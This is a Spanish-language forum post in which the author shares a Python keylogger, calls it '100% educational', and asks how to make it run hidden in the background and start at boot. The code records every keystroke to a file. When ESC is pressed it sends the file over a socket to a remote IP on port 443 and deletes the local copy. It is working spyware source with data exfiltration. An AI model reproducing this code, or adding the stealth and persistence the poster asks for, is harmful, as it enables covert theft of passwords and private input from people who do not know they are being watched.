Señores estoy haciendo este rico script para aprender con fines 100% eduactivos, y lo que quería hacer era que se ejecute en segundo plano y al iniciarse el PC los vídeos de los panchitos no me ayudan y stackoverflow mas de lo mismo a ver si ustedes seres de luz sabeis algo
Código:
print("""
*****************************************************
* Hecho por *
* el t3t4s *
*****************************************************
""")
import keyboard
import sys
import socket
import os
from colorama import Fore, Style
green = Fore.GREEN
reset = Style.RESET_ALL
palabra = ""
def pulsacion_tecla(pulsacion):
global palabra
if pulsacion.event_type == keyboard.KEY_DOWN:
if pulsacion.name == 'space':
guardar_palabra_al_espacio()
elif len(pulsacion.name) == 1 and pulsacion.name.isprintable():
palabra += pulsacion.name
keyboard.hook(pulsacion_tecla)
def guardar_palabra_al_espacio():
with open("output2.txt", "a") as file:
file.write(palabra + "\n")
print(f'Palabra registrada: {Fore.GREEN}{palabra}{Style.RESET_ALL}')
resetear_palabra()
def resetear_palabra():
global palabra
palabra = ""
def enviar_archivo_via_sockets(archivo, direccion_ip, puerto):
try:
with open(archivo, 'rb') as file:
contenido = file.read()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((direccion_ip, puerto))
s.sendall(contenido)
os.remove("output2.txt")
sys.exit()
except Exception as e:
print(f"Error al enviar el archivo: {e}")
def detener_script():
print("Enviando datos")
keyboard.unhook_all()
enviar_archivo_via_sockets(archivo_a_enviar, direccion_ip_destino, puerto_destino)
direccion_ip_destino = '192.168.6.55'
puerto_destino = 443
archivo_a_enviar = 'output2.txt'
try:
keyboard.wait('esc')
detener_script()
except KeyboardInterrupt:
print(f'{Fore.GREEN}Script Detenido{Style.RESET_ALL}')
pass